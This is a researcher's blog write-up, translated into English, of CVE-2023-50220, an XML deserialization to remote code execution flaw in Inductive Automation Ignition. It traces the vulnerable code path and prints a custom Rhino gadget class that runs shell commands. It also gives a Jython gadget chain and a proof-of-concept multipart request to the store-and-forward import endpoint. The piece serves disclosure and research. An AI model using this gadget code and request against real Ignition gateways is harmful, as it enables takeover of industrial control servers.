CVE-2023–50220 — Inductive Automation Ignition XML Deserialization to RCE (English translation)

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Content (translated into English)

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Application Security

Java

Ignition

White Box Testing

Security

CVE-2023–50220 — Inductive Automation Ignition XML Deserialization to RCE

[[image: Petrus Viet]](https://petrusviet.medium.com/?source=post_page---byline--7b395412c6cf----------------------------------)

Petrus Viet

In 2023, I found several CVEs in Ignition; today, I would like to share one of those bugs. Although it was not the bug with the highest impact, I found it more interesting. ~ Hope you enjoy it ~

I) Debug note

- In the `*C:\Program Files\Inductive Automation\Ignition\data\ignition.conf*` file, uncomment the following two lines:

```
wrapper.java.additional.2=-Xdebug
wrapper.java.additional.3=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000
```

- Set up the proxy client app:

```
-Dignition.chromium.switch.proxy-server=127.0.0.1:9999
```

Next:

```
-Dhttp.proxyHost=127.0.0.1;-Dhttp.proxyPort=9999
```

II) Research

When I begin researching a new product, I study existing bugs and analysis blogs. This does not mean that I choose to begin by finding ways to bypass old bugs (*although you could think of it that way*); rather, the main purpose is to understand the product more quickly and more easily grasp how it works (how it loads libraries, maps endpoints, handles authorization, etc.). This also gives me an idea of which kinds of bugs are more likely to be present in the product, allowing me to target `chuẩn` a little more precisely.

Thus, before deciding to research vulnerabilities in **Inductive**, I studied and reproduced several bugs presented at P2O Miami 2022:

- The vulnerabilities presented by @pedrib1337 and @RabbitPro **[2]** can be roughly understood as follows: Use the Unauthenticated Access to Sensitive Resource vulnerability in the ProjectDownload.getDiffs function to obtain the project name, then use the Insecure Java Deserialization vulnerability, also in the ProjectDownload.getDiffs function, to achieve RCE with the CommonsBeanutils1 gadget chain.
- The vulnerabilities presented by Chris Anastasio and Steven Seeley (mr_me) **[3]** are more interesting, as they use the RNG attack method. The authors obtained the seed by retrieving the exposed system time, then regenerated the sequence of random bytes hash to obtain a session tried them one by one until one was valid, thereby achieving RCE with the *ScriptInvoke.execute* function.
- Finally, the vulnerability presented by @chudypb **[1]** is a form of Insecure XML Deserialization that achieves Admin-RCE. Although its impact was lower than that of the bugs above, I found the process of analyzing it and writing the exploit more interesting

=> Combining the history of vulnerabilities that have existed in **Inductive** with my personal impressions after reviewing the old vulnerabilities, I found that unsafe deserialization vulnerabilities appeared to occur more frequently, so I focused on looking for unsafe deserialization.

III) Finding the bug

To find this bug, I needed to solve the following three problems:

- **Find the sink-source points**: The most important thing is to find the sink and source points, which is obvious.
- **Build the XML payload**: Next, find a way to rebuild the XML request so that it contains the payload. Sometimes we do not have a sample request or documentation and need to customize the XML to make the program behave as intended in that situation, the only option is to analyze the code.
- **Find a gadget chain**: Even if we reach the deserialization point, we still cannot exploit it without a gadget chain. I usually search in the following steps, from easiest to hardest:
- Fuzz all the gadget chains in `ysoserial`; if we are lucky, we will not need to find anything else
- Check whether any of the product's libraries are among the dependencies of the gadgets in ysoserial. We may only need to make a small change because of a version incompatibility, or because a class in the gadget chain cannot be used but can easily be replaced
- When the existing gadget chains can no longer be tweaked or cobbled together, I need to find a completely new gadget chain.

(*) Finding the source — sink

While poking around the */system/gateway* API in the *Gateway.doPost* function, I noticed that the program parses XML input like this:

```
reader = this.readerPool.checkOut(); // com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser
Message msg = new Message();
 reader.setContentHandler(new MessageParser(msg));

try {
   reader.parse(new InputSource(input));
} catch (SAXException var168) {
   this.printErrorResponse(out, 200, "Unable to parse message.", var168);
   return;
}
```

>

We can see that the program calls **reader.setContentHandler()** to specify that the Object type to parse is **MessageParser *. *So what about other XML Object types??? Is there an API that parses some type of XML object at a point where we can exploit it???* *[4]**

I got to work and checked the input data type of the *setContentHandler *function: the *ContentHandler *interface:

```
public void setContentHandler (ContentHandler handler);
```

There are many classes that implement it, but my intuition told me to look at the *Base64XmlReader *class first

In the *getValue* function, the program calls *ClusterUtil.deserializeObject()*

```
public Object getValue() {
  try {
    return StringUtils.isBlank(this.data) ? null : ClusterUtil.deserializeObject(Base64XmlReader.this.context, Base64.de
  } catch (Exception var2) {
    LoggerFactory.getLogger(this.getClass()).error("Error deserializing object.", var2);
    return null;
  }
}
```

The program enters *ClusterUtil.deserializeObject* and calls *ModuleObjectInputStream.readObject()*

```
public static Object deserializeObject(GatewayContext context, InputStream stream) throws Exception {
    ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager());
    Object o = ois.readObject();
    ois.close();
    return o;
  }
```

So we can see that deserialization can occur here, but the harder problem is how to find the path to this point??

There is a small clue: *Base64XmlReader *is used in *HistoryFlavor.getXmlImportHandler()*

```
public SimpleXMLReader<HistoricalData> getXmlImportHandler(GatewayContext context) {
    return new HistoryFlavor.Base64XmlReader(context);
  }
```

And *HistoryFlavor.getXmlImportHandler()* is in turn called at *QuarantinedXmlImporter.startElement()* **[5]**

The ***startElement()*** function will usually appear in the class that defines an XML object Following the idea presented in **[4]**, we need to find where *QuarantinedXmlImporter** **is parsed, right?

We do not need to look far: in the *QuarantinedXmlImporter.doImport()* function itself, the program calls *parser.parse(src, this);***, **which means that it parses *src *as *this*, namely *QuarantinedXmlImporter*

```
public void doImport(InputStream srcIS) throws Exception {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    InputStream is = null;
    SAXParser parser = factory.newSAXParser();

    try {
      is = new UnicodeInputStream(srcIS, "UTF-8");
      InputSource src = new InputSource(is);
      src.setEncoding("UTF-8");
      parser.parse(src, this);
    } catch (SAXParseException var9) {
      throw new Exception("Error parsing XML on line " + var9.getLineNumber() + ": " + var9.getMessage(), var9);
    } finally {
      IOUtils.closeQuietly(is);
    }
  }
```

From here, we can easily trace backward to the *StoreAndForwardRoutes.mount()* function

```
// stack trace
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.mount()
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.importData()
com.inductiveautomation.ignition.gateway.history.HistoryManagerImpl.importQuarantinedFromXML()
com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.doImport()
```

In the mount function, we can see that the program registers requests sent to "**/store_forward_import/:storeName**" to be mapped to the *StoreAndForwardRoutes.importData()* function

```
public void mount(RouteGroup routes) {
    routes.newRoute("/store_forward").handler(this::getHistoryStoreData).type("application/json").restrict(WicketAcces
    ......
    routes.newRoute("/store_forward_import/:storeName")
      .method(HttpMethod.POST)
      .handler((req, res) -> this.importData(req, res, req.getParameter("storeName")))
      .restrict(
        RouteAccessControl.requireAll(
          new RouteAccessControl[]{WicketAccessControl.STATUS_SECTION, WicketAccessControl.CONFIG_SECTION, Ed
        )
      )
      .mount();
  }
```

Searching all files for the keyword "**/store_forward_import/**", we find a JavaScript file containing the string "**/data/status/store_forward_import/**" the root path of the "**/store_forward_import/:storeName**" API is very likely "**/data/status**"

After creating a test request, the program did indeed proceed as we expected

(*) Building the XML payload

As we can see in the *StoreAndForwardRoutes.importData()* ***function, the program gets the input by calling **Part part = r.getPart("file");**, which means that we need to send a **multipart **request and that the input is in a file within the "**file***" part

At *HistoryManagerImpl.importQuarantinedFromXML()*, the program calls *this.getStore("test")* and receives null store not found error

In the *getStore* function, the program retrieves a *DataSink* object from the *dataStoreEngines* variable, but at present it has only one value, with the key "**sample_sqlite_database**"

When we try sending a request with the store name "**sample_sqlite_database**", we can see that the program can continue to *QuarantinedXmlImporter.doImport()*

Returning to the *QuarantinedXmlImporter.startElement()* function, for the program to call ***f.getXmlImportHandler()***, there must be a "**data**" element containing two attributes, "**flavor**" and "**subtype**"

So I tested with the following input and continued debugging:

```
<?xml version="1.0"?>
<data flavor="flavor" subtype="subtype">
</data>
```

Next, the program enters *this.mgr.lookupFlavor(flavor, subType); *to obtain the variable **f**. We need **f** to be a *HistoryFlavor* object (as explained in **[5]**)

Here the program looks up data in the *flavorRegistry *variable, where we can see an existing value of type *HistoryFlavor *with the key "**datasourcedata/**"

In the *flavorKey* function, the program creates a key from user input by concatenating the type (*flavor*) and subtype (*subType*) as follows:

```
private String flavorKey(String type, String subtype) {
    return String.format("%s/%s", type, StringUtils.defaultString(subtype).toLowerCase());
  }
```

Therefore, to retrieve the object with the key "***_datasourcedata_/***", we need the input flavor="***_datasourcedata_***" subtype=""

```
<?xml version="1.0"?>
<data flavor="__datasourcedata__" subtype="">
</data>
```

Returning to *HistoryFlavor*, in the *writeToXml *function we can see that the program converts a *HistoryFlavor *object to XML by serializing the object, converting it to base64, and then placing the data in the "**base64**" element

```
public void writeToXml(SimpleXMLWriter writer, HistoricalData data) throws Exception {
    writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2));
  }
```

So now we need to add a "**base64**" element to the data element

```
<?xml version="1.0"?>
<data flavor="__datasourcedata__" subtype="">
   <base64>base64_string</base64>
</data>
```

Thus, we have made the input reach the *sink *— the point where deserialization occurs

(*) Finding the gadget chain

Testing with the **URLDNS **gadget, everything works well

Next, I tried the other gadget chains in **ysoserial**; of course, aside from **URLDNS**, none of them happened to work

(+) Finding a gadget, attempt 1

- First, I found **Ignition\lib\core\designer\rhino-1.7.6.jar**, and ysoserial also has the **MozillaRhino2 *gadget, which requires *@Dependencies({"rhino:js:1.7R2"})**, so I tried debugging it to see whether I could customize it to work.

- The issue preventing **MozillaRhino2** from running was that *org.apache.xalan.xsltc.trax.TemplatesImpl* was "**not found**", so I customized it by using **org.mozilla.javascript.NativeScript**

```java
package ysoserial.payloads;

import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;

@Dependencies({"rhino:js:1.7R2"}) // tested rhino-1.7.6.jar
@Authors({ Authors.TINT0 }) // customs from MozillaRhino2 by PetrusViet
public class MozillaRhino3 implements ObjectPayload<Object> {

    public Object getObject( String command) throws Exception {
        //command = "var rt= new java.lang.ProcessBuilder(); rt.command('"+command+"');rt.start();";
        command = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" +
                "var cmd = new java.lang.String(\""+command+"\");\n" +
                "var p = new java.lang.ProcessBuilder();\n" +
                "if(isWin){p.command(\"cmd.exe\",\"/c\",cmd);} else{p.command(\"bash\",\"-c\",cmd);}\n" +
                "p.redirectErrorStream(true);\n" +
                "p.start();";

        Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
        Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
        Reflections.setAccessible(nativeErrorConstructor);
        IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

        ScriptableObject dummyScope = new Environment();
        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
        Context context = Context.enter();

        Object initContextMemberBox = Reflections.createWithConstructor(
                Class.forName("org.mozilla.javascript.MemberBox"),
                (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
                new Class[] {Method.class},
```

```
    new Object[] {Context.class.getMethod("enter")});

ScriptableObject scriptableObject = new Environment();
(new ClassCache()).associate(scriptableObject);
try {
    Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[1];
    ctor1.setAccessible(true);
    ctor1.newInstance(scriptableObject, "java",
        "org.mozilla.javascript.NativeJavaTopPackage", false, true);
}catch(ArrayIndexOutOfBoundsException e){
    Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[0];
    ctor1.setAccessible(true);
    ctor1.newInstance(scriptableObject, "java",
        "org.mozilla.javascript.NativeJavaTopPackage", false);
}

Interpreter interpreter = new Interpreter();
Method mt = Context.class.getDeclaredMethod("compileString", String.class, Evaluator.class, ErrorReporter.class,
mt.setAccessible(true);
Script script = (Script) mt.invoke(context, new Object[]{ command,interpreter, null,"test", 0, null});

Constructor<?> ctor = Class.forName("org.mozilla.javascript.NativeScript").getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object nativeScript = ctor.newInstance(script);
Method setParent = ScriptableObject.class.getDeclaredMethod("setParentScope", Scriptable.class);
setParent.invoke(nativeScript, scriptableObject);

try {
    //1.7.13
    Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, Class.
    Object getterEnum = Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess").getEnumConstants()[3
    Reflections.setAccessible(makeSlot);
    Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, getterEnum);
    Reflections.setFieldValue(slot, "getter", initContextMemberBox);
}catch(ClassNotFoundException e){
    try {
        //1.7R2
        Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, int.c
        Reflections.setAccessible(makeSlot);
        Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
        Reflections.setFieldValue(slot, "getter", initContextMemberBox);
    }catch(NoSuchMethodException ee) {
        //1.7.7.2
        Method makeSlot = ScriptableObject.class.getDeclaredMethod("createSlot", Object.class, int.class, int.class);
```

```
            Reflections.setAccessible(makeSlot);
            Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
            Reflections.setFieldValue(slot, "getter", initContextMemberBox);
        }
    }

    idScriptableObject.setGetterOrSetter("directory", 0, (Callable) nativeScript, false);

    NativeJavaObject nativeJavaObject = new NativeJavaObject();
    Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
    Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
    Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
      this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));

    Reflections.setFieldValue(nativeJavaObject, "javaObject", idScriptableObject);

    return nativeJavaObject;
  }

  public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
    out.writeObject("java.lang.Object");
    out.writeObject(new String[0]);
    out.writeObject(javaObject);
  }

  public static void main(final String[] args) throws Exception {
    PayloadRunner.run(MozillaRhino3.class, args);
  }

}
```

- After all kinds of testing, the chain ran beautifully, but when I tried exploiting it, the program could not find **rhino *even though the **rhino **lib was already in the classpath After checking again, I discovered that the libs in *\lib\core\designer** are not loaded by default what a waste of effort customizing the chain

(+) Finding a gadget, second attempt

- Continuing to search more carefully, I discovered the lib **Ignition\lib\core\common\jython-ia-2.7.2.1.jar**, and this time I was certain that the **\lib\core** directory is loaded by default
- ysoserial includes the **Jython1 *gadget with the requirement *@Dependencies({ "org.python:jython-standalone:2.5.2" })**. I continued debugging to find a way to fix or customize the chain
- The problem lies in the jython version (*as everyone can see*). In the version used by **Ignition**, the ***PyFunction*** class has a ***readResolve()*** method added that always calls **thorw** by default

```
private Object readResolve() {
    throw new UnsupportedOperationException();
}
```

This means that the ***PyFunction ***class cannot be deserialized because:

- When the program calls *readObject()* (java's default *readObject*), it passes through several methods before reaching *ObjectInputStream.readOrdinaryObject().* Here, the program checks whether the target (the object to be deserialized) contains a *readResolve()* method. If it does, the program calls it:
- As a result, the *PyFunction.readResolve()* method is called, producing an **UnsupportedOperationException** error

Pausing to think for a moment, in the Jython1 gadget, the *PyFunction* class is responsible for receiving the *compare(x,y)* function call from the proxy class:

I wondered whether any class could replace *PyFunction*. To receive a function call from a proxy class, that class must implement *InvocationHandler*, so I searched for such classes in Jython :v

- Fortunately, I found *PyMethod*, which implements *InvocationHandler* and can still be deserialized

- After all kinds of debugging and payload writing, I also realized that this was a very suitable replacement, but using *PyMethod* differs considerably from using *PyFunction* => at this point I got lazy
- An idea occurred to me: "Has anyone already had exactly the same idea as me and created Jython2?". Yep, after searching around, I found one perhaps they are some sibling of mine with the same father but a different grandfather.

(*Because when I was writing the blog, I could no longer find the exact payload on github, I copied it here instead of providing a reference*)

```
Gadget chain:
 ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map.entrySet() //[Implemented as a proxy class with PyMethod InvocationHandler]
      PyMethod.__call__()
        PyMethod.__call__(state)
          PyMethod.__call__(state, arg0)
            BuiltinFunctions.__call__(state, arg0, arg1)
              __builtin__.eval(arg1, arg2, arg3)
                Py.runCode(code, locals, globals);
```

At *AnnotationInvocationHandler.readObject()*, the program calls *streamVals.entrySet()*

With *streamVals *being our proxy object, this means the *entrySet *method call will be passed down to the handler class, *PyMethod*

After the *PyMethod.**call**()* chain, the program reaches ***builtin**.eval()*

And finally runs the python code with *Py.runCode(code, locals, globals);*

Below is a PoC that creates the file **C:\\petrusviet.txt:**

```
POST /data/status/store_forward_import/test HTTP/1.1
Host: localhost:8088
Content-Length: 6258
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2aeh8v1eAg4aLbAc
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=$COOKIE$
Connection: close

------WebKitFormBoundary2aeh8v1eAg4aLbAc
Content-Disposition: form-data; name="file"; filename="ahihi"
Content-Type: text/xml

<?xml version="1.0"?>
<cachedata>
<data flavor="__datasourcedata__" subtype="">
<base64>rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8V
</data>
</cachedata>

------WebKitFormBoundary2aeh8v1eAg4aLbAc--
```

IV) Timeline

- 2023–07–19: Case opened
- 2023–08–09: Vendor disclosure as ZDI-CAN-21801
- 2024–01–05: Public disclosure as ZDI-24–015, CVE-2023–50220